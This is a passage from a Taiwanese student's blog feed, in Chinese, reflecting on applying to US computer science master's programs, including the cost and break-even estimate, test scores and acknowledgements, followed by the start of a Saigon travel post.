<p>但申請人少這個特徵是一個雙面刃，雖然代表這個學程相對容易上榜，卻也在暗示申請人這個學程有一些其他的問題是會勸退大部分申請人的，也就是前一個段落提到的學程缺點：死板課綱。這也是為什麼大部分條件比較好的人會傾向去申請 MSCS 或是 MCDS 這種課綱相對彈性的學程，讓他們可以在前幾個學期去探索不同的領域，或是跨修他們有興趣的課。</p>
<p>但這些資訊都是我在申請之前就知道的，而軟體工程也是我本來設定的方向，所以這樣的設計反而意外的是幫我移除了潛在的競爭者。</p>
<h2 id="-花費" class="relative group">💸 花費 </h2><p>既然上面都說毀天滅地貴的學費了，當然要攤出來講一下：</p>
<!-- prettier-ignore -->
<div class="chart">
  
  <canvas id="245318697"></canvas>
  <script type="text/javascript">
    window.addEventListener("DOMContentLoaded", (event) => {
      const ctx = document.getElementById("245318697");
      const chart = new Chart(ctx, {
        
type: 'line',
data: {
    labels: ["23' Q3", "23' Q4", "24' Q1", "24' Q2", "24' Q3", "24' Q4", "25' Q1", "25' Q2", "25' Q3", "25' Q4", "26' Q1", "26' Q2", "26' Q3", "26' Q4"],
    datasets: [
        { label: '支出', data: [35210, 44210, 81420, 90420, 126630, 135630, 145630, 154630, 163630, 172630, 182630, 191630, 200630, 209630], backgroundColor: 'rgba(255, 99, 132, 0.5)', borderColor: 'rgb(255, 99, 132)' },
        { label: '收入', data: [0, 0, 0, 10000, 30000, 30000, 60000, 90000, 120000, 150000, 180000, 210000, 240000, 270000], backgroundColor: 'rgba(75, 192, 192, 0.5)', borderColor: 'rgb(75, 192, 192)' }
    ],
    lineAtIndex: 2
},
options: { scales: {
    x: { ticks: { minRotation: 45 } },
    y: {
        ticks: {
            // Include a dollar sign in the ticks
            callback: function(value, index, ticks) {
                return '$' + value.toLocaleString('zh-TW');
            }
        }
    }
}}

      });
    });
  </script>
</div>

<ul>
<li>投入成本：台幣約 400 ～ 430 萬，含學費、生活費等所有支出</li>
<li>預期收益：畢業後年薪換算台幣約 350 ~ 400 萬</li>
<li>明年大約 5 月會去實習，就會開始有一些些收入，最後一個學期 (如果有) 助教費或甚至書卷獎也會不無小補</li>
<li>金流週轉：主要重點在前 12 個月，我只要確保這段時間內不要讓存款餘額見底，撐過去後期就不會有太多其他的問題</li>
<li>貸款：教育部和台北市有<a href="https://tss-pittsburgh.github.io/docs/finance/loan/" target="_blank" rel="noreferrer">青年留學貸款<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>，碩士有 100 萬，台北市的條件比教育部給的略好一點點，<em>條件式</em> 10 年無息</li>
</ul>
<p>太多細節看不懂沒關係，只要知道損益平衡點，也就是完全回收投入成本的時間點 (上面兩線相交的位置)，預計是在畢業後第 2 年，以留學來說算是非常好的投資報酬。<sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup></p>
<h2 id="-檢討" class="relative group">💭 檢討 </h2><p>申請季結束當然要來回頭檢視一下，具體申請相關的檢討應該會放在指南裡，這理我就講準備期的問題就好，其實就是三圍啦 QQQQQ</p>
<h3 id="gpa" class="relative group">GPA </h3><p>在校成績的部分，到我在寫這篇文章的現在，對於要怎麼評論還是有點拿不定主意。上一篇有提到，我在轉學到中興的時候就已經預期未來會有留學的計畫，也知道 GPA 會是申請時一個重要的指標，所以一方面我會看著我最後的成績單說這個成績真的是爛到不能看，但另一方面又會覺得，我已經在唸書的當下盡了最大的努力，我甚至不覺得如果再重念一次我的作法會有多大的改變。</p>
<p>但我有觀察到很多有刷成績需求的同學有一些作法：</p>
<ul>
<li>考完期中期末考跑去跟助教和教授要分數，<del>要到像親媽死了一樣</del> <sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup></li>
<li>為了拉高總算平均，去修一些明明自己不會修的課
<ul>
<li>中興有一門通識課叫《性別與親密關係》，只要你的期末報告觀點跟老師相同，分數從 95 開始往上打</li>
<li>畢業門檻裡明明沒有軍訓課，啊怎麼會有女生在修</li>
</ul>
</li>
</ul>
<p>相較之下，我去修一門有興趣的 《英國電視喜劇》，然後那個學期的成績就<a href="https://www.dcard.tw/f/nchu/p/239443963" target="_blank" rel="noreferrer">下去<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>了：）</p>
<p>成績的部分，我想一半是我真滴爛，但另一半就&hellip;姑且說是我沒有這麼希望拿到這麼高的分數好了。</p>
<h3 id="toefl--gre" class="relative group">TOEFL / GRE </h3><p>去年歐洲交換，學生簽證的有效期其實有到 9 月，但我實際上 5 月就回來了。當時提早回來，其實很大一部分就是為了要可以提早開始準備考 TOEFL 跟 GRE。</p>
<p>結果實際上的狀況是，我雖然 6 月就開始動工念書，但還是考了好幾遍，一路考到 11 月才終於覺得，再考下去大概只是浪費錢，不如就此打住吧。</p>
<p>但考試念書好像也就是&hellip;那樣，我好像對於我的爛成績難辭其咎，但又跟上面邏輯一樣：再重考一次我也不知道我應該要有什麼改變，會有機會讓我的分數突飛猛進多少。但如果真要說這部分要有什麼改進的話，也許我應該早點意識到我不是一個適合補習的人，就不用為了補 GRE 多花將近兩萬塊，這些錢都不知道可以多投幾間學校了。還好值得慶幸的是我 TOEFL 就沒補了，不然又是一個坑 (🚬</p>
<h3 id="代辦" class="relative group">代辦 </h3><p><small>其實這不是檢討，但我不知道該把這段塞在哪裡哈哈哈哈哈</small></p>
<p>反正我就是覺得，出國生活本來就是一件困難事了，如果連申請學校這種小事都要花錢丟給別人，那還不如在台灣原地躺平就好了。我不敢說我從來沒有猶豫過，但我很慶幸我最後沒有找代辦申請。一方面是代辦真的很．花．錢，另一方面是我現在可以對外宣稱我是完全靠自己申請上 CMU 的 (← 不是這人到底多自戀 XD</p>
<p>好啦也許不應該把話說的這麼死，也是有可能代辦有什麼料，是會幫我申請上 Stanford 也難說，那就當作我不希望用這種方式進 Stanford 吧</p>
<h2 id="-結語" class="relative group">🛫 結語 </h2><p>我在放榜後的隔幾天上<a href="https://offer.1point3acres.com/program/cmu-mse-scalable-systems-1029" target="_blank" rel="noreferrer">一畝三分地<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>爬了其他人的資料，確定我 (應該是) 這個學程上榜分數最低的。</p>
<p><a href="cmu-msess-1p3a.png">







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/mscs-applying-reflection-ii/cmu-msess-1p3a.png"
      class="mx-auto my-0 rounded-md"
      alt="一畝三分地 MSE-SS 錄取資料"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center"><br/>上海交大 GRE 327 被拒了、海外本科 GPA 3.8 也被拒了，難不成我是用猴子的標準招進去的嗎</figcaption>
</figure>
</a></p>
<p>但認真要說我在這一連串的自不量力之中，做對了什麼的話，那就是——策略。</p>
<p>我在考完轉學考的同時就已經下定決心，再也不要進入準備大型考試的輪迴之中，而在我在校成績爆掉的同時，就代表我正式被台灣的研究所封殺了。所以在這個條件下，出國反而是我讀研究所唯一的出路。</p>
<p>但這也不代表我申請國外的研究所可以馬虎。我在前期選學校的過程，投入了非常大量的時間在爬每間學校的特色，還有每個學程的屬性。我清楚知道我的成績不怎麼樣，所以應該放大我擅長寫程式、搞 Side Project，還有實習、研究經歷的強項。</p>
<p>所以即便最後上 MSE-SS 雖然看起來很像賽到的，但我的確是花了最多的時間在投這個學程上。比方說：這個學程的動機信是有規定格式的，所以 18 個學程裡有 17 個是用同一版動機信，但 MSE-SS 用的，是我完全獨立重新寫過 + 請人潤稿的。</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/mscs-applying-reflection-ii/video-essay.jpg"
      class="mx-auto my-0 rounded-md"
      alt="我站在背景是台北 101 的護欄前"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">再比方說：申請 Deadline 前一天，我和我爸媽去爬山，就只為了在 101 前面錄 MSE 的 Video Essay</figcaption>
</figure>
</p>
<p>所以與其說 MSE 是我心目中完美的學程，不如說是我盡了最大的努力呈現完美狀態的同時，<strong>MSE 用完美的篩選條件的找到了我</strong></p>
<p>雖然前面寫了一堆<del>屁話</del>好像是在幫自己的爛成績開脫，順便炫耀自己的狗屎運，但其實我更想傳達的訊息是：</p>
<blockquote>
<p>人本來就有許多的不完美，但這不代表必須有所妥協</p>
<p>就像我成績不怎麼樣，但還是憑藉著一己之力申請上了美國 CS 名校</p>
</blockquote>
<p>我很慶幸我用自己的方式，去到我想去的地方 😌</p>
<p>這概念其實有點像之前去大港開唱跟顯詠喇賽，我們得出的結論：</p>
<blockquote>
<p>大港就是充滿一堆怪人，但把一堆怪人放在一起，就沒有人是怪的</p>
</blockquote>
<p>所以如果你覺得你很怪，請你繼續怪下去，找到自己擅長的領域，選擇有利於自己的戰場，然後向世界證明你怪的很成功：）</p>
<h2 id="-鳴謝" class="relative group">🎀 鳴謝 </h2><ul>
<li>經常陪我在 DC 上掛到半夜的顯詠、彥翔
<ul>
<li>btw 彥翔最近退伍在找工作，歡迎有內推想賺 referral 的可以私我轉給他</li>
</ul>
</li>
<li>幫我寫推薦信的
<ul>
<li>實驗室教授 YC</li>
<li>教授 Huan</li>
<li>實習的主管 WS</li>
</ul>
</li>
<li>中興低 GPA 自救會成員
<ul>
<li>Cecilie</li>
<li>Liam</li>
<li>Lenka</li>
</ul>
</li>
<li>在我作息不正常、壓力山大的時候把我抓出去吃飯唱歌的大家
<ul>
<li>太長就不列了請不要情勒我哈哈哈哈哈</li>
</ul>
</li>
<li>Video Essay 攝影師：我爹</li>
<li>Video Essay 舉題詞機的攝助：我娘</li>
</ul>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p>這個網頁只有列出電腦科學學院的學程。隔壁的工學院、理學院、甚至管理學院也會開設跟資訊相關的學程，所以就知道 CMU 的 CS 產業鏈有多龐大 (X。&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p>我也是到把這張圖畫出來才意識到，如果念的是文史、藝術、音樂這種畢業後收入沒有很大保障的科系，也許真的會需要超過十年才能損益平衡&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p>有些教授會傾向在改考卷的時候，用比較嚴格的標準批改開放性問題的答案，然後鼓勵學生在考卷發回去之後主動來跟他討論、爭取分數。這個做法好或不好也許有討論的空間，但我一直到現在都還是很討厭做這件事&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">mscs-applying-reflection-ii</guid><pubDate>Sat, 20 May 2023 02:59:44 +0800</pubDate></item><item><title>美國 CS 碩士申請心得 (上)</title><link>https://blog.tomy.me/zh-tw/posts/mscs-applying-reflection-i/</link><description>一萬個不回頭的方法</description><content:encoded><![CDATA[<p>終於空出時間來好好寫一下這篇，不知不覺寫了好多，那就拆成很多篇發吧。</p>
<p>申請心得會分上下集，主要著重在我的想法、心境轉折，還有回答和解釋一些大家可能會好奇的問題。之後應該還會有申請指南，分享一些實際的申請技巧和乾貨，不太確定那部分會不會也分成很多篇，但就到時候再說吧 🤪</p>
<p>那就讓我們開始吧！！！</p>
<h2 id="-緣起" class="relative group">🌄 緣起 </h2><p>很多人聽到我說要出國留學的時候，除了「為什麼要出國念？」之外，最常聽到的問題就是：</p>
<blockquote>
<p>是什麼時候開始想出國留學的？</p>
</blockquote>
<p>但我總是覺得我沒有很完整、認真的回答，甚至思考過這個問題。原因就在於，其實我並不覺得這個想法有一個「開始」。與其說我在某個機遇下產生了這個想法，我認為他更像是「夢」——一場我不知道如何開始的夢，從我國中，或甚至年紀更小的時候就開始的「留學夢」。基於某種原因，我爸媽似乎也在我還沒上大學之前，就主動「認定」我有一天會做這件事，甚至如果我不想，他們還會感到十分意外<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup>，好像我這種搞事小孩長大了不想出去闖闖說不過去一樣。</p>
<p>但如果追根究底的話，我認為最鮮明的奇異點應該就是，在大二準備轉學考的時候。差不多就是在那段時間開始，思考要如何把這個想法具象化，然後納入我人生 10 年<del>養成</del>計畫的一部分。</p>
<h2 id="-實現" class="relative group">🌱 實現 </h2><p>做某些事情可以沒有原因，比方說躺在沙發上看一個下午的 Netflix；但出國留學可是會花費到要傾家蕩產的鉅資，不是用「夢想」兩個字帶過就可以解決的，所以除非家裡有礦，還是需要具體的規劃才不會家破人亡。</p>
<p>出國留學，以我念資訊工程 (下稱 CS，即 Computer Science<sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup>) 大學畢業後升學的話，有兩種路線的學程 (Program，可以想像成學系)，取決於未來想走的路線：</p>
<ul>
<li>研究型學程 (Academic Program)：加入某個更精確領域的實驗室，參與研究、寫論文，之後可能會成為教授，或是某個公家或大企業研究院的研究員</li>
<li>專業型學程 (Professional Program)：只需要修完學程指定的課程，不需要寫論文，大部分 1.5 年到 2 年左右會畢業，然後投入職場當軟體工程師</li>
</ul>
<p>大部分國家跟台灣一樣，念碩士是需要寫論文的，也就是上面所說的研究型學程。</p>
<p>但在美國跟其他地區的部分學校，他們會開設就業導向的碩士學程，課程會著重在實務面的技巧和操作，搭配課堂報告、專案來增強學生的實作能力，增加學生求職的競爭力。</p>
<p>而對於大學畢業，想從事研究的學生，可以選擇研究型的碩士學程 (就我觀察大概佔所有學程的 10%，不算常見) 來確認自己適不適合這個路線，或是直接攻讀博士 (俗稱逕博)。</p>
<h2 id="-時程表" class="relative group">📅 時程表 </h2><ul>
<li>2019 (大二)：前期研究，寫起來很高大上，但基本上就是無聊上 Google 搜尋一下，然後把 PTT 和 Dcard 的留學版釘選到最愛加減滑</li>
<li>2020 (大三)：進實驗室參與研究。做專題、增加經歷、跟教授建立人脈</li>
<li>2021 (大四)：實驗室收尾、去實習。</li>
<li>2022 (大四下)：去歐洲 🇪🇺🇫🇷 <del>快快樂樂的玩</del>交換，5 月回來</li>
<li>202206：畢業、補 GRE</li>
<li>202207 ~ 08：GRE 考試</li>
<li>202209：入伍、開始草擬動機信、跟推薦人要推薦信</li>
<li>202210 ~ 11：TOEFL 考試</li>
<li>202212：陸續把申請資料寄出、退伍</li>
</ul>
<div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
      <iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube-nocookie.com/embed/AlUI8bYV6nU?autoplay=0&amp;controls=1&amp;end=0&amp;loop=0&amp;mute=0&amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video"></iframe>
    </div>

<figcaption class="text-center">2023：<del>總共 104 天的暑假又到來，離開學的日子還很遙遠~~~</del> (並沒有<br/>開始放長假到去<a href="/zh-tw/posts/bangkok/">曼谷</a>和<a href="/zh-tw/posts/saigon/">西貢</a> Longstay</figcaption>
<ul>
<li>202302：陸續收到一拖拉庫的拒絕信：）</li>
<li>202303：普天同慶，CMU 願意收我<del>這個垃圾</del>，媽我上岸了 😭</li>
</ul>
<h2 id="-想法轉變" class="relative group">🤔 想法轉變 </h2><p>上面提到我從大二開始研究留學的可行性，提早開始的最大優點，就是我可以在不同階段達成很多階段性的目標，為之後申請需要的素材做打算，當然最重要的就是在大三這年確定了研究不是我心目中未來的生活，所以就確定了接下來要往專業型碩士學程的方向前進。</p>
<p>選擇攻讀專業型學程會碰到一個很大的障礙，那就是花費。講白了就是沒有人會沒事發錢給學生，絕大部分獎學金的設置，是用來支撐、獎勵那些有學術貢獻的人用的，也就是攻讀上一段所說的研究型學程的人用的。<sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup></p>
<p>所以到了這個節骨點，念碩士成了一種「投資」——當念完這個學程，我預期未來薪資可以顯著的增加，以彌補我念這個學程的所有支出，包含學費、生活費、時間、其他難以想像的機會成本<sup id="fnref:4"><a href="#fn:4" class="footnote-ref" role="doc-noteref">4</a></sup>。</p>
<div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
      <iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube-nocookie.com/embed/gWIi6Pytde8?autoplay=0&amp;controls=1&amp;end=0&amp;loop=0&amp;mute=0&amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video"></iframe>
    </div>

<figcaption class="text-center">其實將大學視為投資在國外非常普遍，這部將人生比喻為電玩遊戲的影片就有提到這點 (2:00 處)<br/>身在台灣的我們都該慶幸可以享受到便宜、品質不差的大學教育。</figcaption>
<p>也正因為如此，學校在招生網頁上甚至會以公布畢業生薪資的方式<sup id="fnref:5"><a href="#fn:5" class="footnote-ref" role="doc-noteref">5</a></sup>，來作為招生宣傳，告訴你念這個學程是多棒的一個投資，只能說真不愧是我大美利堅合眾國，連教育都可以是一門生意和產業。</p>
<p>也許你會好奇：如果非常渴望可以在國外工作，為什麼不直接投國外公司的履歷呢？</p>
<p>這是一種選項，在某些國家是行得通的。但以軟體工程師薪水最高的美國來說，雇用外國人的成本是非常高的<sup id="fnref:6"><a href="#fn:6" class="footnote-ref" role="doc-noteref">6</a></sup>，因此除非你有非常異於常人的經歷可以說服公司聘用你，不然這些科技公司最保險的選項，就是在美國碩士畢業的學生。說穿了這個產業鏈就是：美國大學賣簽證給所有想來美國工作的工程師，<del>順便兼賣職訓課程</del>。</p>
<h2 id="-選學校" class="relative group">🛒 選學校 </h2><p>還是得益於提早開始，這給了我更充分的時間在大四以前，花更多的時間去探索一些<del>亂七八糟</del>相對不熱門的選項。但這部分有點太詳細了，請洽申請指南篇。</p>
<p>總之看了一圈，再想了一圈，還是乖乖把學校排名拿出來看，仔細比較到底這些學校有什麼差異。</p>
<ul>
<li>🇬🇧 英國、🇨🇭 瑞士：專業型學程不多、研究型學程太頂了，我應該投不上 QQQQ</li>
<li>🇦🇺 澳洲、🇸🇬 新加坡、🇩🇪 德國、🇳🇱 荷蘭：高機率畢業後就是會綁定在這些國家就業，如果想轉戰其他國家，學歷會不會被認可會是一個問題。</li>
<li>🇨🇦 加拿大：排名前幾名的學校還不錯，可惜我應該投不上。但如果只能上中間偏後，那不如直接投美國，薪資級距有差。</li>
</ul>
<p>於是最後&hellip;還是選擇了美國。但是經過這個繞了一圈的過程，我覺得我更清楚為什麼我想去美國：</p>
<ul>
<li>學歷通用度：就算之後轉戰其他國家，也相對通用 (同上面的第二點)</li>
<li>起薪高：雖然美國學費比較貴，但薪水也相對高，考慮到畢業之後要多久才能回收成本，撇掉那些免學費的學程不說，美國應該是最快可以達成損益兩平選項，下面會分析。</li>
<li>矽谷嘛，那個科技宅男不想趁自己年輕的時候去這個聖地闖闖呢：）</li>
</ul>
<h2 id="-申請" class="relative group">📋 申請 </h2><p>申請是一個更大的主題了，之後有空再寫。這邊簡單介紹一下申請美國 CS 碩士的三要件：</p>
<ul>
<li>俗稱的三圍
<ul>
<li>GPA：大學在校成績，美國採滿分 4.0 制</li>
<li><a href="https://zh.wikipedia.org/wiki/GRE" target="_blank" rel="noreferrer">GRE<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>：測驗語言和數理能力，滿分各 170，總分 340，寫作滿分 6 級分</li>
<li><a href="https://zh.wikipedia.org/wiki/TOEFL" target="_blank" rel="noreferrer">TOEFL<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>：俗稱托福，測驗英語的聽說讀寫，各 30 分，總分 120</li>
</ul>
</li>
<li>推薦信 3 封：找三個人來說服學校收我</li>
<li>動機信 (Statement of Purpose)：自己說服學校收我</li>
</ul>
<table>
  <thead>
      <tr>
          <th></th>
          <th>及格的分數</th>
          <th>我的分數</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>GPA</td>
          <td>3.6</td>
          <td>3.29</td>
      </tr>
      <tr>
          <td>GRE</td>
          <td>320+3.5</td>
          <td>312+3<sup id="fnref:7"><a href="#fn:7" class="footnote-ref" role="doc-noteref">7</a></sup></td>
      </tr>
      <tr>
          <td>TOEFL</td>
          <td>100</td>
          <td>97</td>
      </tr>
  </tbody>
</table>
<p>看到這數字就知道要抓緊了，因為<a href="/zh-tw/posts/mscs-applying-reflection-ii/">接下來</a>準備要車禍囉~~~~</p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p>真實故事&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p>Computer Science 直譯為電腦科學，但台灣大學普遍稱為資訊工程，故本文以常見用法代稱。特別注意資訊工程直譯的 Information Engineering 在國外可能跟 Computer Science 是完全不同的研究領域。&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p>其實有例外，但是礙於篇幅，這裡不討論&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:4">
<p>我實在難以想像如果你的另一半沒辦法一起出去，這段感情要怎麼不車禍 ¯\_(ツ)_/¯ (5/23 更新：感謝讀者提供真實故事，證實此理論之真實性 XD)&#160;<a href="#fnref:4" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:5">
<p>你可以在<a href="https://www.cs.cmu.edu/academics/masters/programs-comparison" target="_blank" rel="noreferrer">這裡<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> 看到 CMU SCS 學程的各項<strong>官方</strong>數據，拉到表格最右邊就是畢業生薪水分佈&#160;<a href="#fnref:5" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:6">
<p>除了薪水和各項公司福利，最大的成本是工作簽證。要在美國工作的外籍軟體工程師需要由公司協助向政府申請 H1B 工作簽證，除了<a href="https://www.quora.com/What-is-the-cost-to-an-employer-for-sponsoring-an-H1B-visa/answer/Sergey-Parsegov-PhD" target="_blank" rel="noreferrer">費用非常高昂<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>外，雇主還需要證明這項職位所需要的人才在美國不存在。如果你有相關經驗，你就會知道要證明某個東西「不存在」是多麼困難且麻煩的事情：）&#160;<a href="#fnref:6" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:7">
<p>如果你產生了一種好像沒差很多的錯覺，你可以去查 GRE 分數對應 PR 值的表格，太丟臉我就不放了 🙃&#160;<a href="#fnref:7" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">mscs-applying-reflection-i</guid><pubDate>Fri, 19 May 2023 01:43:24 +0800</pubDate></item><item><title>🇻🇳 西貢</title><link>https://blog.tomy.me/zh-tw/posts/saigon/</link><description>😎 胡 let the dogs out?</description><content:encoded><![CDATA[<p><small>抄襲要註明，這個廢到笑的副標題是抄襲自<a href="https://www.youtube.com/watch?v=x2ghih542GI" target="_blank" rel="noreferrer">采翎的 vlog<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>，難笑不要怪我 😂😂</small></p>
<p>總共<del>七七四十九天</del> 39 天的春假結束啦！！！</p>
<p>依照上一篇曼谷的慣例，當然要來寫一下我的西貢心得的吧 😏</p>
<p>這一趟出來原本只有計畫要去曼谷一個月，當時在看機票的時候，最便宜的選項是越捷航空，但其實越捷航空主要的市場是越南，台北曼谷這一段只是兼營的，後來看著看著就覺得，欸好像多去一個越南也不會多花太多錢，花費差不多，只多了中間這段機票的錢，大約 $2000 上下而已，薯條都可以加大了，沒道理出國玩不能小捏一下吧 (什麼邏輯？？</p>
<p>於是這段旅程就從 30 天曼谷升級成 21 天曼谷 + 19 天西貢了哈哈哈哈</p>
